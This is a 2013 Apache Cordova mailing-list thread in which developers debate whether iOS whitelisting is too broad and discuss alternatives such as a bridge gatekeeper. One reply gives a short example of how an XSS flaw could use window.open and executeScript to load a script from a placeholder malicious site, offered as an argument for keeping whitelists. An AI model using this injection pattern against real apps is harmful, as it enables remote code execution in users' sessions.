The biggest issue we have with the current whitelisting in iOS, which I do consider overreaching, is that it applies to every class of request that comes out of the Cordova web view. This is most problematic with images. I can't include stock service provider icons from e.g. twitter.com or facebook.com, static map images from google.com, etc., because I can't also trust those sites to be allowed unfettered access to the bridge. I.e. I can't whitelist them, because the definition of their security class is overly broad, such that I have to apply the rules of a high level of trust to a low level of risk. Same would hold true for stylesheets, for example.
It puts us in the unfortunate position of having to choose to either have apps devoid of the rich content available from third parties, apps that are at least partially broken between Cordova vs. straight web (broken image links, etc.), or no Cordova version of the apps at all (because we can't budge on the pieces that absolutely have to be secured). Cheers, Kevin On Mon, Apr 15, 2013 at 1:52 PM, Shazron <shaz...@gmail.com> wrote: > For the overlay thing, at least for iOS if we have a new window option for > "toolbar=[yes|no]" this would have almost the desired effect, if we take > out the animation. > > > On Mon, Apr 15, 2013 at 1:44 PM, Andrew Grieve <agri...@chromium.org> > wrote: > > > Kevin - the iOS CDVURLProtocol was changed (2.5ish) to only filter > requests > > from Cordova WebViews. I'd be interested in hearing if you still think > it's > > over-reaching. > > > > I think the only real way to protect your app is to not have any > > third-party scripts in it. We have an outstanding issue to create a guide > > for this: > > > > https://issues.apache.org/jira/browse/CB-2179 > > > > > > Would using InAppBrowser suite your need for handling third-party > content? > > E.g. What if we made a mode for IAB where it overlays the page (like an > > iframe) instead of completely covering it? > > > > > > > > > > On Thu, Apr 11, 2013 at 2:39 PM, Shravan Narayan <shrava...@google.com > > >wrote: > > > > > Hi, > > > My name is Shravan - I am an intern at Google working on the Cordova > App > > > Harness (tool to test Cordova Apps). > > > > > > Something that I noticed while starting work on the App Harness. The > new > > > executeScript method allows injection of arbitrary pieces of javascript > > in > > > the InAppBrowsers opened with "window.open". This script runs in > context > > of > > > the page loaded in the InAppBrowser. Whitelists might be still required > > in > > > this scenario. > > > > > > *Quick example* > > > Consider the scenario that there are no whitelists in the platforms. > Any > > > cordova app which is vulnerable to XSS attacks, can have the following > > code > > > injected into them. > > > > > > *w = window.open("www.site_that_your_app_normally_doesnt_access.com", > > > "_blank");* > > > *w.executeScript({ file: "some_** malicious**_site.com/malicious.js > "}); > > > * > > > * > > > * > > > Thus they can open any website and inject any js file from any > location. > > > Whereas with whitelists the js file's domain "*some_** malicious**_ > > > site.com" > > > * would probably not be a part of the whitelist. > > > > > > *Small caveat: *The executeScript does have means to inject code > directly > > > as well with *w.executeScript({code:"(function() {alert("Hello");}) > > ();"}) > > > *but > > > that may require a different solution not pertaining to this > discussion. > > > > > > I don't know if this is a reason to keep the whitelists around but > > thought > > > I'd mention it. > > > > > > Shravan > > > > > > > > > On Wed, Apr 10, 2013 at 8:29 PM, Shazron <shaz...@gmail.com> wrote: > > > > > > > Also the whitelist might be important for plugins. Specifically, > people > > > > that need to install plugins have a promise of what external > locations > > > are > > > > being accessed. > > > > > > > > However, right now all iOS plugins bypass the whitelist because of > our > > > > User-Agent method, and that needs to be rectified before this > "promise" > > > is > > > > true. > > > > > > > > Certain resources bypass the whitelist anyway because we have no way > to > > > > control them at the moment (audio/video tags): > > > > https://issues.apache.org/jira/browse/CB-2451 > > > > > > > > > > > > > > > > > > > > On Wed, Apr 10, 2013 at 5:22 PM, Shazron <shaz...@gmail.com> wrote: > > > > > > > > > Ideally we would have a WebPolicyDelegate like OS X > > > > > (webView:decidePolicyForMIMEType:): > > > > > > > > > > > > > > > > > > > > https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/WebKit/Protocols/WebPolicyDelegate_Protocol/Reference/Reference.html > > > > > > > > > > ...where we can have some granularity - I'm not sure we can yet. If > > so, > > > > we > > > > > can defer to the app developer whether certain things like images > can > > > be > > > > > let through - for example in MainViewController, you can set your > own > > > > > WebPolicyDelegate. We would allow images through by default. > > > > > > > > > > I'm not sure of "letting the fox in the hen-house" (allow > everything) > > > > then > > > > > trying to guard against attacks (hens with shotguns?), this is > > > JavaScript > > > > > after all. I'm interested however in how your gatekeeper concept > > works > > > to > > > > > help with this since allowing an external URL location does not > > protect > > > > > from this attach (think of the situation if the external host was > > > hacked, > > > > > and contained JS that attacks/intercepts our bridge). > > > > > > > > > > With the default wildcard in new projects, like others here have > > > > > mentioned, the whitelist is effectively turned off, and 99% of devs > > > won't > > > > > care to restrict the whitelist. > > > > > > > > > > > > > > > > > > > > On Wed, Apr 10, 2013 at 3:06 PM, Braden Shepherdson < > > > bra...@chromium.org > > > > >wrote: > > > > > > > > > >> Especially since permissions, on platforms that have such a > notion, > > > will > > > > >> be > > > > >> (eventually...) controlled by installing those plugins. So you can > > > lean > > > > on > > > > >> the platform to block access to contacts as well. Even on > platforms > > > > >> without > > > > >> such permissions control, if we don't load the contacts-retrieval > > > native > > > > >> code, then the JS can't get at it. > > > > >> > > > > >> Braden > > > > >> > > > > >> > > > > >> On Wed, Apr 10, 2013 at 4:44 PM, Jesse <purplecabb...@gmail.com> > > > wrote: > > > > >> > > > > >> > I am completely in favor of removing whitelisting as well. I > > > believe > > > > it > > > > >> > gives developers a false sense of security. > > > > >> > imho the only sure way to protect access to the bridge is to > only > > > ever > > > > >> load > > > > >> > code that you control. We should be pushing developers towards > > > > >> > best-practices. > > > > >> > > > > > >> > Some of the whitelist stuff should become redundant when we have > > > > things > > > > >> > like the Contact API moved into plugins. ie. You can be > > absolutely > > > > >> certain > > > > >> > that no JS code is accessing the device's contacts if you do not > > > > include > > > > >> > the native pieces of the Contact API. > > > > >> > > > > > >> > @purplecabbage > > > > >> > risingj.com > > > > >> > > > > > >> > > > > > >> > On Wed, Apr 10, 2013 at 1:23 PM, Brian LeRoux <b...@brian.io> > wrote: > > > > >> > > > > > >> > > We recently moved to * by default to ease common userland woe. > > I'd > > > > be > > > > >> in > > > > >> > > favor of removal of whitelisting but I'm fairly certain that > > would > > > > be > > > > >> > > a controversial position! > > > > >> > > > > > > >> > > > > > > >> > > On Wed, Apr 10, 2013 at 11:38 AM, Kevin Hawkins < > > > > >> > > kevin.hawkins.cord...@gmail.com> wrote: > > > > >> > > > > > > >> > > > Hey all, > > > > >> > > > > > > > >> > > > Those of us who have been on the implementing and/or serious > > > > >> > consumption > > > > >> > > > side of whitelisting for iOS—I've been on both at one time > or > > > > >> > > another—know > > > > >> > > > how much work has gone into trying to make it a > full-featured > > > > >> security > > > > >> > > > subsystem for the iOS version of the framework. I want to > > share > > > > >> some > > > > >> > > > feedback based on my organization's experiences in > > > implementation, > > > > >> and > > > > >> > > > hopefully spark some discussion about the future of > > whitelisting > > > > on > > > > >> iOS > > > > >> > > > (and maybe the platform as a whole). > > > > >> > > > > > > > >> > > > We're essentially running into insurmountable issues with > > > > >> whitelisting > > > > >> > > for > > > > >> > > > the use cases we're attempting, based on the overreach of > the > > > > >> > > NSURLProtocol > > > > >> > > > approach to whitelist handling. I say overreach because, in > > an > > > > >> ideal > > > > >> > > > world, Cordova should only ever care about safeguarding > > traffic > > > > >> > destined > > > > >> > > to > > > > >> > > > go through the hybrid/native bridge. This argument can be > > made > > > > for > > > > >> all > > > > >> > > > platforms, but the lack of granularity is most onerously > > > > >> overbearing on > > > > >> > > > iOS, which filters every HTTP(S) packet that goes through > the > > > app. > > > > >> > > > > > > > >> > > > Our requirements are very strict with regard to what's > > > whitelisted > > > > >> to > > > > >> > go > > > > >> > > > through the bridge. But the bridge is conceptually the only > > > thing > > > > >> we > > > > >> > > care > > > > >> > > > about, within that particular sphere of security. We have a > > > more > > > > >> > relaxed > > > > >> > > > sphere of security for, say, <img src=" > http://maps.google.com > > " > > > > />, > > > > >> as > > > > >> > > the > > > > >> > > > threat vectors exposed through image rendering are > > considerably > > > > less > > > > >> > than > > > > >> > > > malicious injected bridge code. > > > > >> > > > > > > > >> > > > Alas, we don't—and arguably never will—have that kind of > > > granular > > > > >> > control > > > > >> > > > in iOS, with the current implementation approach. > > NSURLProtocol > > > > is > > > > >> > > simply > > > > >> > > > too broad-brush to meld into a granular approach for > > > whitelisting. > > > > >> The > > > > >> > > end > > > > >> > > > result is that we lose the ability to deliver a rich content > > > > >> experience > > > > >> > > > that leverages third party artifacts, because we're forced > to > > go > > > > >> with > > > > >> > the > > > > >> > > > sphere of security that gives us the highest scrutiny, > across > > > the > > > > >> > board. > > > > >> > > > > > > > >> > > > We've been considering (very early phase) some alternative > > > > >> approaches > > > > >> > to > > > > >> > > > managing whitelisting. Our current thinking has been > focusing > > > on > > > > a > > > > >> > > > gatekeeper (on the native side) to the bridge itself. This > > > would > > > > >> > enforce > > > > >> > > > some sort of contract between the hybrid and native side, to > > > make > > > > a > > > > >> > > > determination of which traffic is authorized to specifically > > go > > > > >> through > > > > >> > > the > > > > >> > > > bridge. I'm not sure what that contract looks like at this > > > point, > > > > >> but > > > > >> > > > enforcement would be bridge-specific, and all other webview > > > > traffic > > > > >> > would > > > > >> > > > otherwise behave as it would in a normal web application. > > > > >> > > > > > > > >> > > > I know from past discussions that many (most?) Cordova > > > developers > > > > >> don't > > > > >> > > > generally use the whitelist, since their security concerns > may > > > not > > > > >> be > > > > >> > as > > > > >> > > > great, and/or they exclusively host their app functionality > > > > locally > > > > >> to > > > > >> > > the > > > > >> > > > device, which allows them to essentially implement their own > > > > >> controls > > > > >> > on > > > > >> > > > attack vectors through selective app content. In our case, > > > we're > > > > >> > > building > > > > >> > > > an enterprise platform where content could come from any > > number > > > of > > > > >> > > sources. > > > > >> > > > And whitelisting controls are not working for us. > > > > >> > > > > > > > >> > > > If there's a future for whitelisting in Cordova 3.0, I > > > personally > > > > >> feel > > > > >> > > that > > > > >> > > > it needs to be revisited. I'd be interested to hear > thoughts > > > from > > > > >> > others > > > > >> > > > on their usage patterns, and responses to my concerns. > > > > >> > > > > > > > >> > > > Cheers, > > > > >> > > > Kevin > > > > >> > > > > > > > >> > > > > > > >> > > > > > >> > > > > > > > > > > > > > > > > > > > >
